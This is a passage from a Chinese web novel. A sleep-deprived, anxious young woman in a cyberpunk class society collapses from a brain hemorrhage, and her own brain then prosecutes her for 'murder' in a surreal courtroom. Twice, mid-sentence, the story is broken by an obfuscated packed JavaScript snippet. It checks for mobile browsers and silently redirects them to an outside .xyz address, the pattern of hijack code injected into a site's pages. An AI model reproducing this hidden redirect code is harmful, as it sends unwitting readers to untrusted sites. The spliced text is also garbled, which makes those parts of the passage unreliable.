《这究竟是谁的错?》 1. 与世长辞 杏仁有点头疼。 脚上也好像踩着棉花,身体也软绵绵的,更别提她那恍惚的精神了。 窗外的霓虹灯照得她心烦,周围的钢筋铁楼都长得跟巨人一样,铁桶一般把她的侦探社围在中间,让她有些胸闷窒息。 “叮!” “现在的时间是:凌晨一点整。” 熟悉的机器音打断了她的发呆。 又是机器猫在时间播报了。 杏仁回过神来,重重喘了口气,紧接着拉上窗帘,隔绝窗外闪烁的彩光。 她摸了摸机器猫的钢脑袋,机器猫光滑细腻的合金脸颊顺势在她手心蹭蹭。 她的手顺着流畅的身体曲线从脸颊滑到胸口,紧接着打开了它胸口的显示器,定了明天早上七点的闹钟,明早还得赶车上班。 一点了,该睡了。 换上睡衣,坐在床上。 柔软的床陷下一个凹陷。 杏仁的睡眠状况很不稳定。 熬夜、失眠、噩梦这三大凶手害得她的生物钟处于一种紊乱的状态。 她的内分泌估计也跟随紊乱的生物钟一起失调啦。 杏仁想,所以她现在才那么难受。 脸蛋泛着潮红发着热,脑子里总是闷闷沉沉的,好像有噪声催促着她发燥,安宁与平和已经被放逐,心情在天平两边跌宕摇摆。 有时候简直高兴的马上就要上了天堂,世界是美好的,前途是光明的,虽然她现在什么都没有,但她还拥有希望……然后还不知道发生了什么,总而言之,等她回过了神来,她就已经重新坠入谷底,在同事讶异的眼光中捧着卫生纸冲入卫生间在里面嚎啕大哭了。 这美丽的精神状态……可不太妙。 今晚她可不能再熬了。 更别提最近因睡眠不足而猝死的新闻那么多,她还年轻,还能活很久很久,拥有漫长的人生,虽然她的人生惨淡无光,没有希望,贫寒交加,全是意外,就算现在没有因为失眠熬夜而猝死,将来也有一天可能会累死病死被人捅死意外死亡不得善终,这么想想,漫长的人生好像也没有什么……等等! 杏仁忽然回神。 “呵。” 又跟她来这套。 今天她可是要早睡的,才不会再中大脑的奸计。 不管什么emo的想法都等到明天再说。 什么都不能阻挡她的睡眠。 什么都不能! 她撩开头发,将头妥贴地放在枕头上,盖上暖和的厚被子——据说盖厚被子可以助眠。 就这么想着,和往常一样,她伸手关上了台灯。 “啪。” 灯关上了,眼睛闭上了,一切都很妥帖,她要睡了—— “真的要睡了吗?” 什……什么声音? 脑袋……脑袋里又传来噪声了吗? 她的眼睛“唰”得一下睁开了。 总是这样,总是这样的。一闭上眼睛,大脑就开始活跃地运转。 各种脑内之音像大浪裹沙一样裹挟着各种情绪,拨动她的神经,挑动她的睡眠。 虽然声音很礼貌,但是后面一定藏着阴险狡诈的招数。 没错,要睡了,现在就要睡,一定要睡,不要打扰我了。 杏仁重新闭上眼睛,她的意志如同钢铁一般坚定。 “哦,好吧……真的是抱歉啊。不是故意打扰你睡觉的,只是想要提醒你一声,你的机器猫只剩下5%的电了。” 好的,我知道了。明天一大早我就会去买新的能源电池,5%的电足够撑到明天早上,不会影响什么的。 “真的吗?如果……” 没有如果。她冷酷地想。 “你确定吗?电量可是一个很玄学的东西。‘假如’和你想的不一样,5%的电撑不到明天早上。机器猫就要自动关机,也没有人会叫你起床,你就会迟到,甚至旷工。你只是一个从来没有被肢体改造过的五等公民,工作效率从来就不如那些做过身体改造的人。你的领导皮斯拉已经对你很不满意了。今天,啊不,已经凌晨1点了,那就是昨天,他还阴阳怪气的贬低你,并且想要把你的项目从你手中夺走,明天你一迟到,正好给了他这个机会——你真是一个好人啊!” 杏仁好像听见她的脑中之音在爽朗地笑,“机器猫的能源电池可不便宜,等到你明天,啊不,已经凌晨1点了,是今天……等你被领导趁机夺走项目,找茬开除,失去你唯一稀薄的工资,你就不用给机器猫买电池了。” “因为你也买不起了。” “当然,机器猫的电池只是你第一个舍弃的东西。” “你没有钱,付不起账单,被迫舍弃的东西只会越来越多。本就不幸的人生会越来越糟越来越惨。就像滚雪球一样,不幸也会越滚越大,终有一天……” “啪叽。”杏仁的心一颤,忽然狂跳。 “你会骨瘦嶙峋,独自死在床上——” “机器猫没电了,所以自然也不会发出求救信号,更不会向外界通报你的死亡。” “等到无数年之后的某日,你身上的所有软组织都已经腐烂消失,贪玩的小孩来这个恐怖狭小的‘魔窟’探险时,只会发现一具躺在床上的白骨。” “。” “……” “!!!” 杏仁重重吸了一口气,然后“唰”地一下子睁开眼睛,坐了起来。 脑中之音骤然停止。 不会的。 她安慰自己。 哪里有这么惨,脑海向她展示的这一切大概是不会发生的。 大脑只是和往常一样在向她喷洒焦虑,但想象总归是想象,很难成为现实。 她将嘴唇咬出白痕,不断的告诉自己“这只是一个想法,只是焦虑造成的,不会变成现实的。”并努力的忽视这个声音后面的潜藏着的更多细碎的声音—— “万一呢?”“你真的确保是焦虑造成的吗?”“焦虑真的好讨厌。”“要是可以永远不焦虑就好了。”“你怎么保证不会变成现实?”“其实你心里有点儿确信这个想法对吧。”“当然啦——现实也很有可能比你想的更糟糕呢。” 紧接着大脑又用它强大的想象力,像展示ppt一样,为她展示了更糟糕的可能性——主要是她即将面临的各种凄惨事情的文字,和她各种可能死法的图片,顺便再配上一些认识她的人对她刻薄难听的音频。 为了让这些悲惨的预见更加真实,大脑还很有条理的在ppt里插播了一些影像视频——主要是从她的记忆里面提取的,一些她过去悲惨委屈的经历。 “你看,过去的每一天你都希望明天会更好。” “小时候一家人挤在出租屋里。” 【播放“小时候的家场景.mp4”】 “你渴望长大拥有一个自己的房子,不用害怕被人赶走,不用随时担心要搬家,最好是一个阳光明媚的大房子。” 【播放“阳光明媚的大别墅.mp4”】 “可是现在你长大了,却一个人住在这个黑漆漆的侦探社。” 【播放“侦探社全貌图.mp4”】 “而且这儿还不属于你,这依旧是一间出租屋。” “原来拥有这里的老侦探被凶手捅死了,血迹就溅射在你的床头。” 【播放“喷射的血迹.mp4”】 “要不是因为这是凶宅,房租打了三折,你才租不到这里的房子呢。” 【播放“窃喜”表情包】 “可不要高兴的太早,听说有的凶手杀人后很喜欢回到犯罪现场。” 【在死亡锦集里插入“被折返凶手捅死血浆喷到墙上.jpg”】 !!! “不过这还不是最惨的。” ??? “最惨的是,侦探社原本是一家店铺——也就是说,你的水电费是商水商电,不是民水民电。” “商水商电比民水民电要贵很多呢。” “还记得你第一次交水电费时脸上的表情吗?” 【播放表情包——瞳孔震裂猫咪脸】 “世界上果然没有白吃的早餐午餐和晚餐对吧?” 嗯! “你的今天证明你昨天的希望破灭了,你的昨天证明你前天的希望破灭了。” “你怎么保证未来会变好。” “未来如果永远都那么糟糕呢?” “如果再也不会好了呢?” “如果现在这些你在这黑漆漆侦探社里面头痛抱怨的日子就是你人生中最好的日子呢?” 杏仁:…… 本来只有一些头痛,现在简直是是头疼欲裂。 她感觉脑袋里有很多小人蹦蹦跳跳地拿着洒水枪或者什么能够喷洒激素药剂的东西。 他们讥笑着:“喷洒焦虑喷雾!” “喷洒恐惧喷雾!” “喷洒下一秒就是死期啦现在你无法呼吸了死亡的感觉就是这样吧喷雾!” 她的呼吸忽然变得粗重急促,却感觉根本没有吸入氧气,肺部好像干瘪了,脑袋也好像变成了胶体,重重地压在头顶,她好像被什么东西控制了,只能僵在那里,她想脱身,却根本无法动弹……“叮!” 清脆的声音忽然将她拉回现实。 机器猫的屏幕亮起,是收到工作简讯的提示音。 头疼得简直要爆炸,但杏仁却从巨量思绪中被拯救,骤然松了口气。 半夜还发消息,真不把员工当人呀。 … ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794189|158282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …唉,算了。还是看下短讯吧,就当转移注意力。 杏仁叹了口气,重新穿上拖鞋,摇摇晃晃地走到机器猫面前,顺便趁机甩掉头脑中杂乱的思绪。 【工作简讯:from情感研究有限公司人事处,to五等公民杏仁】 杏仁是五等公民,因为她从头到脚乃至每根发丝汗毛都是百分百原装,没有进行过任何肢体改造。 比她高级的公民,都进行过或大或小的肢体改造,并根据不同的改造程度被划分为一级公民到四级公民。 机器总是比人理智,比人高效率,所以将身体的一部分托付给它们,才是理性与文明的体现。 ……是这样的,对吧? 总而言之,杏仁听说过,最高级的一等公民已经不满足于简单的将骨骼换成坚固的合金、或者给自己多安装六七个机械臂,让自己可以像章鱼一样手舞足蹈。 也不满足于更换眼睛晶体让它如同最优秀的望远镜和显微镜,随时可以仰头看到太空中的星球,或低头观察手上的细菌。 一等公民对身体的改造已经延伸到大脑。他们在脑中植入不同的芯片、微型电脑、各种处理器,以协同他们的大脑共同工作。 就像这种工作简讯,她只能穿上拖鞋,在现实生活中找一个屏幕,去收看简讯。 可是一等公民不一样——简讯可以直接弹到他们的大脑里,植入的机械处理器比大脑更快开始工作。 总而言之,杏仁读完一条工作简讯的时间,一等公民们都已经把完成的工作从大脑中反馈回去了。 “硬件比人家差,效率就天然比别人低!就这还天天想着按时下班,要是我跟你这么差劲,早就羞愧得每天住在公司,从早到晚工作。” 这是之前她因为头痛而想要按时下班时,领导皮斯拉叫住她骂她的话。 而现在,看见发件人里面人事部三个字时心中隐隐的不安感成为了现实。 【尊敬的员工杏仁:十分遗憾的通知您,您遭到了投诉,理由为“精神状态不适宜”,接到投诉后,人事处立刻对您精神状态进行核实检测,结果表明,投诉内容属实,您暂时不适宜继续工作。 为了保护您正当的权益,现在为您特批半个月的带薪假期。 您将拥有基础工资,请您在这半个月好好调养,半个月后人事处将继续对您的精神状态作出检测,判断您是否可以良好工作,如果检测通过,您将可以回归您的岗位。 因为您需要休息,所以您现在所做的项目——情感恋爱游戏《理与情:心跳的审判》将转接给您的领导皮斯拉。 感谢他为您所做的付出! ——情感研究有限公司人事处】 天哪。 杏仁的脸瞬间煞白。 好像噩梦成真。 还没等到明天,她的项目就被夺走了。 什么带薪休假,基础工资那么稀薄,简直就是变相开除。 等到半个月之后,再继续检测她的精神状态不合格。 这种事情谁能说得清楚。 真是糟糕透了。 刚刚还在劝慰自己,心里想的那些恐怖的事情是不会发生的,只是和以前一样,是一些焦虑的胡思乱想。 可现在,不光发生了,而且比想的还要糟糕迅速。 什么东西失控了。 什么东西破碎了。 屏幕的蓝光打在杏仁的脸上。 杏仁怔怔地看着屏幕。 她不知道现在自己在想些什么。 明明最糟糕的事情已经发生,她却好像没有刚才那么焦躁难过。 脑袋好像死机了,什么也想不了,会没事的吧,还会好的吧,她尽力安慰自己,直到视线无意间落在屏幕的角落。 血红色的1%。 发呆的时间太久,没有关闭屏幕,无意之间已经耗费了太多的电。 只剩下1%的电量。 这样的电量—— 是绝对撑不到明天早上的! 杏仁的呼吸骤然急促,她捂着胸口弯下腰大口大口的喘气,却无法吸入任何一丝氧气,脑袋真的好痛,豆大的汗从额头上滴落,不光如此,好像有什么粘腻的液体和汗混在一起流出来了。 视线已经失焦,眼前是一片模糊,她什么也看不清了。 只是手臂上传来清凉的触感。好像是机器猫的尾巴攀上了她的臂膀。 最后的余光中,她好像看见了机器猫担忧的眼神。 是错觉吗? 她下意识地说:“没事的,没事的。” 不知道是安慰自己还是安慰猫。 算了,也没关系了。 因为机器猫撑不到明天了。 而她也撑不到明天了。 2. 被脑控告 “欢迎来到审判庭!” 好吵啊,周围怎么乱哄哄的。 天亮了吗?是该上班了吗? “审判即将开始,有请各位证人入场。” 谁在说话? “我叫蓝斑,是本次审判的审判长。” 审判?什么审判? 还有蓝斑……她认识这个人吗? 不管了,来不及了! 首班车估计已经发车了,她得赶快起床,赶不上车的话她就要迟到了。 “本次审判的原告是【杏仁的大脑】,请您站上原告台。” 皮斯拉那个东西实在太恶心,一直虎视眈眈想要抢走她的项目,她可不能迟到,主动给对方送上机会——等等!这个原告叫啥? 名字好长啊……一二三四五,好像有五个字。 “而本次审判的被告正是【杏仁】本人。” 话又说回来,机器猫的铃声今天怎么没有响?果然是没电了吗?5%的电量果然不足以撑过一晚上吗? 感谢生物钟,让她自己醒过来了,要不然肯定得迟到——等一下! 谁?杏仁?被告? 同名同姓? 说得不会就是她吧…… 这怎么可能?最近她乖巧地很,每天按时上下班,虽然天天失眠,情绪波动略微有点大,准确来说是随时处于精神崩溃的状态。 但也应该……应该没有做出什么太出格的事情吧。 难道精神失常在街上咬了别人家的狗…… 果然还是发生了吗? 她一直担心自己会这样做来着,为此还焦虑了好几个晚上,头发都愁掉了一大把。 “【杏仁的大脑】请您陈诉一下您状告【杏仁】的罪名。” “好的,审判长大人。” 可她怕狗诶,就连商店里的小狗手机挂饰她都绕着道走,这样的她……真的会在大街上追着狗跑吗? 那—— 果然还是为了赚外快,无证经营侦探社,并私自接了个案子的那件事情吧? 啊,审判长大人!那是好几个月前的事情了,而且也实在不能全怪她,她也是被逼无奈。 租房没有看清合同,不知道商水商电的厉害,昂贵的水电费账单送到她的手上,工资又被拖欠着没有发,房东又给她下了最后通牒,一周之内不交齐水电费就断她的水电,——她真的只是想要挣点佣金支付账单,而且最后不是也被逃单,没有收到应得的佣金吗? “首先请让我表达我的感谢。感谢审判长大人,感谢为我提供帮助的证人们,感谢可以审判世界上所有事物的、绝对公正的根本大法——《所有法》。” “当然!我尤其要感谢本场审判的赞助商【内耗】。” “感谢它为我提供的自我认知为【杏仁的大脑】且具备情感、理性与独立思考能力的【意识】。” “正是因为它,我今天才能站在这里。” “来控告我的主人杏仁犯下的残忍罪行!” 可不要瞎说。 哪里有什么残忍罪行? 她经手的那场案子。实在是小的不得了、简单的不得了,在这个物欲横流的黑色世界里根本不值一提。 简而言之,只是一个老太太丢猫的故事,那老太太出5000块钱让她帮忙找丢失的猫…… 尊敬的审判长大人,那可是整整5000块钱啊,比她一个月工资都高,如果换做是你,难道能不心动? “杏仁的大脑,请问是什么罪行?” “当然是杀人罪!” 找猫的过程太复杂,就暂且掠过,总而言之,她忙了整整一周,历经千难万险,九死一生。 被一堆恶犬狂追,翻遍了整个街区才在垃圾桶的后面发现了那只小白猫……等等! 杀什么?!杀人! 她没听错吧? 是的,那名老太太几周之后是遭遇了凶杀,倒在血泊之中。 也是的,那老太太是拖欠她的佣金,决口否认当初承诺的5000块,只是将家中的机器猫充当佣金扔给她。 可也仅仅是这样,审判长大人,那只是区区5000块而已,难道你会为了那么一点钱去谋杀一个年迈的可怜老人吗? …… 四周传来嘈杂的议论声,好像很多人在窃窃私语,法槌砸到桌面发出清脆的“咚咚”声,是那个叫蓝斑的审判长在维持秩序。 议论声逐渐放缓,蓝斑沉稳厚重的声音传来。 “原告杏仁的大脑,让我再确认一下,你指控的被告杏仁的罪名是杀人?对吗?” “是的,蓝斑审判长。” “那么被害人是?” “我,一颗属于她的大脑。” 嗯…… 嗯?啥? 没太听明白……你说啥? “好的,向《所有法》提交被害人信息——【杏仁的大脑】相关信息。” “《所有法》接受了被害人信息,认可了原告【杏仁的大脑】同时也是被害人【杏仁的大脑】的诉求,达到了开展审判庭的条件。” “既然如此,我在这里正式宣布,本案正式命名为【杏仁屠脑案】” “咚!” 好像是法槌砸下来的声音。 杏仁随之震动,精神更加清明,好像法槌锤到了她的脑里。 “现在请原告正式开始你的证词,先介绍一下你自己吧。”审判长的声音传来,伴随着书页翻动地“沙沙”声。 “好的,审判长大人。” “正如大家所见,我是一颗大脑,家住在杏仁脖子上,距离地面约1.6米、1.2米或者0.7米高度处。” “我的外表是粉红色,身体有点类似于果冻质地……” “请等一下,”法槌落下的声音,“杏仁的大脑。请解释一下为什么你拥有三个居住地。” “因为我是一颗脑子,具备脑子这一身份的独特性。” 那个自称杏仁脑子的家伙叹了口气,很苦恼地说,“说来也很惭愧。虽然我具备思考的能力,具备产生情感的才能,是一个人身上最精华、最能体现人类尊严的部位。但我也非常脆弱,我只能住在人类——在此处特指杏仁的脖子上,并且必须被坚固的头盖骨保护,我的居住地必须跟随杏仁的行动随时改变。” 它停顿了一下,听审判长没有再提出异议,便继续发散地补充道:“不过我也很喜欢这样的改变。” “实话说我的性格有点像游牧民族,喜欢变化,非常活跃,居住地更是随时变换移动。” “至于我所说三个居住地,当杏仁站立时,我就住在距离地面大约1.6米处,当她坐下时,我就呆1.2米处休息,而当她进入睡眠,将头放在枕头上时,我也随之搬家,搬到0.7米的位置居住。” “好的,我明白了。”审判长蓝斑的声音冷静可靠,“从现在起,我会将你【作为杏仁脑子这一独特性】考虑进去。” “请您一定要考虑进去。这非常重要!” “审判长大人,”脑子喘了一口粗气,极力抑制声音中的浓烈情感,“您看我曾经一天都要更换三个住所,说明我是多么一个活泼好动的脑子啊!可现在,我只能住在一个地方,那就是距离地面0.7米处——医院病床的枕头上。” “我多么喜欢新知识,多么厌恶无聊,我热爱我的工作,从不停止,我体内的神经元从不停歇地放电,我不断地生产激素和新想法,我从不在一个状态停留。” “可现在,所有的 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“咚咚咚。”审判长又敲了几下法槌,“肃静。” 周围逐渐安静。 审判长继续说:“杏仁的大脑,你所说的状况我已经记录在册,还请你稳定一下情绪,继续证词。” “另外,在审判庭上,证据是最重要的,为了节省时间,提高效率,如果你有证据还请伴随证词一同提交。” “好吧。”脑子深呼吸,“昨天晚上,我的身体破裂了,血红细胞们从我身体内部的管道中快速逃逸,我感到很疼痛,活力从我身上流失。” “事情发生的太快,还没等我意识到发生什么,我的主人杏仁就已经倒在地上,而我也失去了为她提供记忆和意识的能力。” “紧接着,杏仁被送到了医院,医生为她做了急救,虽然暂时稳定了她的情况,保住了她的性命,但她并没有好转,事实上,她的身体状况还在缓慢恶化,随时都有踏入死亡的风险。” “请等一下。”蓝斑再次提示,“证据。你刚刚所说的一切有证据吗?” “当然。我早已做了充足的准备,”脑子好像和身后的证人团说了些什么,紧接着是一阵非常滑稽的脚步声。 是脑子走到审判长面前递给了他什么东西。 “蓝斑审判长,这是一段昨天半夜【医院的监控视频】,是我要提交的证据一。” “它是我的1号证人【技术精湛的黑客】黑进医院系统拷贝的。” 耳边应景地传来一阵“滴滴答答”敲键盘声音。 证人?黑客? 还没等杏仁细想,就听那脑子继续说道:“这个视频详细拍摄了杏仁躺在急救床上,被医生护士从医院大门紧急推进急救室的全过程。视频显示得很清晰,杏仁躺在那里,毫无意识。” “杏仁毫无意识,说明我已经收到重创,失去了工作的能力。” 脑子总结道。 “而这张照片则是我要提交的证据二,【杏仁的诊断单照片】。” 耳边又传来一阵“嘎吱嘎吱”的快门键声音。 “它由我的2号证人【高清相机】拍摄,这个诊断单上详细阐明了杏仁昏厥的主要原因是脑出血,这份证据详细证明了我的状态之差。” “蓝斑审判长,”脑子斩钉截铁,“这两项证据完全可以充足证明我刚刚陈述的昨晚的经过属实,也完全能证明我因杏仁而受到巨大伤害。” 周围安静了几瞬,只有纸张翻动的“沙沙”声,好像是审判长在翻阅证据。 很快,翻阅声停止,只听见蓝斑冷静的嗓音:“好的,杏仁的大脑。现在我先将你提供的这两项证据提交给《所有法》。” 3. 罄竹难书 “啊,很好。” 是松了一口气的声音,审判长语气略带轻松,“《所有法》接受了你的两项证据。” 这么草率? 这《所有法》到底是什么荒唐荒谬的法律?也太不靠谱了。 都不听听她这个被告的辩解就接受证据了? “太好了——”大脑话音未落。 却被审判长突如其来的转折打断,“只是——” 蓝斑的声音重新沉着平静,刚才那一瞬的轻松语气宛若幻觉。 “这两项证据虽然能够证明昨晚事件的发生情况和你所阐述的大致相同,可它们并不能证明被告杏仁是杀害你的凶手。” “为……为什么?”脑子很惊讶。 “你们都是第一次上庭吧。”蓝斑意味不明地说。 “虽然如你所说,一号证据【医院的监控视频】可以证明你已经受到重创,失去了工作能力,但它也同时证明了你的主人杏仁也受到了重创,毕竟视频里我们都看的很清晰,‘她毫无意识的躺在床上。’” “而证据二【杏仁的诊断单照片】阐述了杏仁昏厥的主要原因是脑出血。这份证据并没有证明你失去工作能力的原因是杏仁,反而却证明了杏仁昏厥的原因是你。” “什……什么!”脑子的声音更惊诧了。 “脑出血,”审判长又念了一遍诊断单上面的文字,“你的证据已经说得很清楚了,是因为你先出血,没有办法继续为杏仁继续提供工作,所以她才失去意识,陷入昏厥。” 周围又响起了窸窸窣窣的私语声,好像在讨论这突如其来的转折。 脑子一直没有说话,好像还在消化这新的信息。 过了一小会儿,蓝斑才重新敲响法槌。 周围重新归于平静。 “原告【杏仁的大脑】,现在的情况对你很不利。除非你能拿出证据证明以下问题。” “第一点也是最重要的一点,你出血、失去工作能力是否是杏仁导致?” “第二点,你状告杏仁的是‘杀人罪’对吧,可是现在你虽然出血、失去工作能力、躺在病床上、一动不能动,但毕竟还没有死,既然你状告的是杀人,就应该有人会死去,你必须证明你将因此事踏入死亡状态。” “第三点,你状告的是‘杀人’,可是在狭义上来讲你是脑不是人……” 这话说到一半却被急切地脑子打断:“可是我曾咨询过,《所有法》的审判庭采取的是广义的定义!” “是的,因为《所有法》审判万物,为了庭审方便,所有能够站在这里,有独立意识、能够说出自己想法的东西都称作‘人’,但是这并不是我刚刚表达的重点。” “那重点是?” “重点是‘关系’,‘人’和‘人’之间是有关系的,《所有法》审判世界上存在的所有事物,事物之间的关系各不相同,不同的关系的罪责也是不一样的——你一定认为‘人’和‘人’是平等的对吧?” “不是吗?” “当然不是。”蓝斑的语气充斥着理所应当,“你别忘了,这里不是你们世界那种普通的法庭,这里是以《所有法》为依据的,审判世界上所有事物的审判庭。” “和你们人间的审判庭不同,这里要审判的东西太繁复、太奇怪、太充满意外。就比如今天,原告完全可以是一颗受伤的大脑。” “那又怎么样?” “那也就意味着,虽然你觉得你被杏仁伤害了,甚至杀掉了,可是她可能根本就不知道,她是无意识的,她不知道她的所作所为会伤害你,她甚至没有意识到还存在这么一个‘你’,毕竟你住在她的脖子上、她的头盖骨里,而不是住在她家隔壁。” 脑子却吐槽:“她住的那个地方只有深沟,哪有隔壁。” “我只是举个例子,”蓝斑继续说,“总之,住她家隔壁的人肯定会说话,被伤害会喊疼,还会自己赚钱,让人一看就知道是一个理所应当的独立个体。” “如果杏仁伤害了隔壁的人,她一定非常清楚,因为她能够看见、能够听见。” “可是你不一样,”蓝斑说,“我听你称呼杏仁为你的主人对吗?你刚刚也说了,你住在她的脖子上,住在她的头盖骨里,在这个审判庭的赞助商【内耗】赞助你之前,你甚至都没有独立思考的自由意识,你依靠她而活,你是她身体的一部分,是她的所有物。你不会说话,更不会喊疼,即使受到了伤害,她也不会知道。” “她不会觉得她拿了把刀或者其他什么的东西伤害了你,她只会觉得——她只是在正常的生活。” “关系不同,动机不同,性质也会产生翻天覆地的变化,最后的量刑自然也不同。” 沉默,周围是一片沉默。 大脑没有说话,证人团也没有再交头接耳、窃窃私语。 所有的目光都一定聚焦在站在那里的脑子身上吧——虽然杏仁眼前只有漆黑一片,看不见审判庭的情况,但她就是这样觉得。 那么…… 起码审判长蓝斑还是讲道理的,至于《所有法》,虽然她不知道那是个什么东西,但也没有她所担忧的那样荒唐不公正。 虽然这场审判庭的一切都听起来荒诞搞笑,如同孩童过家家,但她只是一个毫无应对风险能力的五等公民。 即使是这样玩笑一样的审判,也还是不要输掉比较好。 那脑子好像被审判长问懵了,半天没有说话,估计也没有证据了吧,杏仁略微松了一口气…… “怎么可能!”高昂的嗓音瞬间激活了审判庭,刚刚沉闷的气氛顿时一扫而光。 “怎……怎么?”蓝斑审判长好像被这突然的声音吓了一跳。 杏仁也心下一惊,刚松下的那口气重新提到嗓子眼。 “我为你工作二十多年了,别以为我不知道你怎么想。杏仁,我没猜错的话你刚刚一定在庆幸吧。” “一定在想,这脑子肯定没有证据了,肯定被打败了。” “哼,”大脑冷哼一声,“放弃幻想吧!” “我早就为本次庭审做了充足的准备,审判长说得那种证据我可是多得很呐,现在我就拿出来让你心服口服。” “审判长大人,请让我继续就您提出的三点问题提交证据。” 脑子的声音更加洪亮了。 “当然,”蓝斑很快掩去惊讶情绪,回到审判长的工作状态,“请提交。” 脑子清清嗓子:“关于‘蓝斑审判长提出的第一个问题——是否是杏仁的所作所为导致我受伤出血、失去工作能力’,我的答案是——是。” “请让我首先出示证据三【干瘪残破的血管】。” “大家请详细的观察这根血管,管壁被某种物质粘黏堵塞,具体是什么物质我也不太懂,不过我的3号证人【大脑专家】已经研究过了,并围绕着证据三出具了证据四【物质检测报告】,请审判长一会儿和证据三共同查阅。” “总而言之,我身体里的血管干瘪堵塞,能通过的血流量本来就比健康的血管时少,昨天晚上,可是因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794191|158282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 某种原因,杏仁情绪忽然激动,导致血液量短时间内极速飙升,过多的血液堆积在这里,导致血管破裂。” “审判长,您看,这是一□□康的血管图片。一根健康的血管是流通的、韧性的、富有弹性的,而我的血管曾经也是那样,它们曾经也是健康的,运输可爱的血红细胞就和哗啦啦的水管一样顺畅。” “可是,在我为杏仁工作的这些日子里,从肠胃运输上来的‘食物’越来越糟糕,它们黏糊糊的,不光无法给我提供恰当的营养,而且还会粘黏在我的管壁内。血流无法将它们冲刷干净。” “作为一颗呆在头盖骨里的脑子,我没有办法,只能看着如同证据三那样干瘪堵塞的血管慢慢填充我的身体。” “直到今天,一部分血管终于不堪重负,破裂了。” 说到这里,脑子喘了口气,然后才接着说:“感谢我的证人【高清相机】,不厌其烦地将我身体里亚健康、甚至不健康的血管全部拍照留存,这些照片太多了,因为时间关系我就不一一向大家展示了,审判长,我现在将它们一同提交给您,请您审阅。” “好的。”审判长说。 “紧接着我要出示证据五,是一张图表,来进一步阐释杏仁对我实施了多么可怕的虐待。”脑子义愤填膺。 “这张图表是我的4号证人【超级大脑营养师】调查提供的,名字有点长,叫做【健康大脑所需‘食物’和杏仁为杏仁大脑提供‘食物’对比表】。” 大脑讲解道:“和一般的图表一样,本图表也用不同的颜色占比来表示信息。大家可以看见,在我这张图表里,绿色代表健康,黄色亚健康,红色代表不健康,而黑色则代表——‘这是什么垃圾,请不要用这种东西喂你的大脑。’” “大家可以看见,在这张图片里,一个健康的大脑吃的‘食物’都应该是绿色的。” “而我们的杏仁呢,在她为我提供的食物中,绿色只占据少部分,图表里大部分空间都被黄色的色块填充,而红色食物也不在少数。” “更过分的是——这里竟然还分布着一些黑色的色块,黑色代表的食物可是完全不适合大脑食用的有毒食品啊。” “……至于证据六,”脑子的情绪越来高昂,声音也越说越振奋,“则是由我自己亲自搜集整理。这些证据来自于杏仁的记忆库,那里包含了她‘记得’的、尚且存留在意识中的记忆,与她已然‘忘记’的、藏在潜意识深处的记忆。” 脑子甩出一叠资料,“砰”的一声甩在桌子上,杏仁的心脏猛地一跳。 “哎,好累。”脑子喘了一口粗气,语气却难掩得意,“这真的是非常非常厚重的资料,我整理了好久呢。” “这是证据六【杏仁的记忆碎片】,这些记忆详细展示了杏仁不按时睡觉,熬夜通宵剥夺我的休息;不好好吃饭,不健康的食物残害我的身体;天天内耗——” “等等!杏仁的大脑,”蓝斑罕见地有些慌张,“【内耗】可是咱们这场审判的赞助商。” 听到赞助商的名字,脑子明显迟疑了几秒,但最后好像还是觉得出这口气比较重要,它讲话说完:“——天天内耗,激烈的情绪混乱我的状态……林林总总、密密麻麻共十几项罪证。” 脑子忽视了蓝斑淡淡地叹息:“审判长大人,我提供给你的这些记忆只是其中一小部分节选,剩余的相关记忆还有很多很多。” 它将资料一叠一叠的堆在审判长的桌子上。 直到桌子都垒不下了,一册册资料哗啦啦地掉到地上。 4. 异议 蓝斑说:“真是令人大吃一惊。” “非常丰富的资料,没想到你的准备工作做的如此详尽。”蓝斑轻微晃动了一个塑料材质的东西,声音很轻,杏仁猜测那是他的眼镜。 “在你叙述的间隙,我已经粗略浏览了一下你递交的证据,”他说,“除了证据六【杏仁的记忆碎片】中有几份记忆历经太长时间而模糊,还有几份记忆因为被回忆太多次而经过太多次大脑的再加工导致失真,无法确定真实性之外,其余的证据都非常有说服力。” “那……?”大脑担忧道。 蓝斑的声音还是那样可靠:“别担心,即使除去无法确认的证据,其余的证据也已经足够证明问题。事实上,就在刚刚我已经将它们递交给了《所有法》,我和《所有法》一致认为你提供的证据三至证据六完全足够证明刚刚我所提出的第一个问题——即你出血、失去工作能力是因为杏仁。” “太好了。”大脑欢呼雀跃,却再次被蓝斑的转折打断——“除非有人提出异议。” 蓝斑清清嗓子,放大声音:“那么在场的所有人,还有谁对脑子提出的这几项证据或者我们得出的结论有任何疑问与异议吗?” “各位证人,或者是……” 蓝斑话音还没有落下,便已然被弥漫的议论声淹没。 此起彼伏的讨论声填满整个场所,却好似距离杏仁很远,以至于她无法从这些嘈杂的声音中得到任何信息量。 大家都是怎么想的呢? 都已经认同了脑子所说的那一切了吗? 杏仁心中着急,却无法开口说话。 作为本场法庭的被告,她明明是这场审判中最重要的几个人之一,可是她却完全无法睁开眼睛、无法发出声音。 下面讨论的人……或者是什么奇怪的东西? 谁能帮她说点什么。 那脑子的证言简直充满瑕疵。 她有太多话可以反驳那颗脑子了。 